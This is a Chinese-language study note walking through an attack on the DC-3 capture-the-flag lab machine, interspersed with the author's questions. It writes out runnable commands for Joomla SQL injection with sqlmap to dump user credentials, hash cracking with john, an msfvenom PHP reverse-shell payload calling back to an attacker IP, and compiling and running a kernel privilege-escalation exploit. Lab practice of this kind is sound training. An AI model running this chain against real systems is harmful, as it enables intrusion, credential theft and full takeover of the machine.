2021.10.8
DC-3 QUS
- 环境错误,网卡配置错误找不到IP。根据DC-3靶机教程更改错误
nmap -sV -Pn -A -p- -v 192.168.50.19
这个命令的含义
输出一些开放的端口号:80端口,65534端口。以及网站的CMS:Joomla开源- 安装使用工具JoomScan,一看就是专门针对Joomla框架的漏洞利用软件。相当于DC-2靶机的wpscan
- 运行命令
searchsploit joomla 3.7.0
查找joomla370版本的漏洞的相对信息位置path。通常变量PATH为:/usr/share/exploitdb/exploits/
。存储路径就是PATH/path - 从漏洞信息里直接得到漏洞利用语句:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
所以改一下IP地址直接运行sqlmap就行了 接下来是正常的sqlmap获取数据环节,直接给运行的命令了
# sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs --batch -p list[fullordering] --+ 输出数据库信息 # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db --batch -p list[fullordering] --+ 输出当前使用的数据库 # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --batch -p list[fullordering] -D "joomladb" --tables --+ 输出当前使用的数据库(joomladb)中的表信息 # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --thread 10 -p list[fullordering] -D "joomladb" -T "#__users" --columns --+ 输出表中的字段名称。注意这里不能使用--batch自动化参数。因为需要手动选择一些具体参数。最重要的参数是“custom”,需要输入“1” # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump --thread 10 --+ 爆出数据
- 收集password字段数据,保存至passwdhash.txt中
- 利用john哈希值密码爆破软件对passwdhash.txt进行爆破,命令:
john passwdhash.txt
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.30 LPORT=4444 R>test1.php
命令含义?
制作php木马- msfconsole和msfvenom是metasploit漏洞利用工具中的两个不同的模块。msfconsole(安慰)是集中控制台;msfvenom(毒液)生成后台木马
- 上传木马,并且执行。在kali开启对应端口的监听。成功获取shell
python -c 'import pty;pty.spawn("/bin/bash")'
进入shell之后没有命令提示,使用这个命令进入伪终端。命令的含义,什么是伪终端?作用是什么?
进入伪终端,开始探测可用的命令进行提权,并最终定位内核提权- 通过searchsploit查找到ubuntu1604的漏洞集合,并且根据现有的命令进行尝试。定位到39772漏洞,浏览漏洞文件并下载漏洞zip文件
- 使用msf中meteperter进行文件上传,具体命令:
upload 39772.zip
上传至目标服务器 这些命令的来源,为什么要这样使用这个漏洞包?是因为文档还是所有的提权漏洞包都是这样用?再次进入伪终端,解压并执行漏洞文件39772.zip。最终获取到Flag。具体命令如下:
$ unzip 39772.zip $ cd 39772 $ tar -xvf exploit.tar $ cd ebpf* $ ./compile.sh $ ./doubleput
END
DC-3 ANSS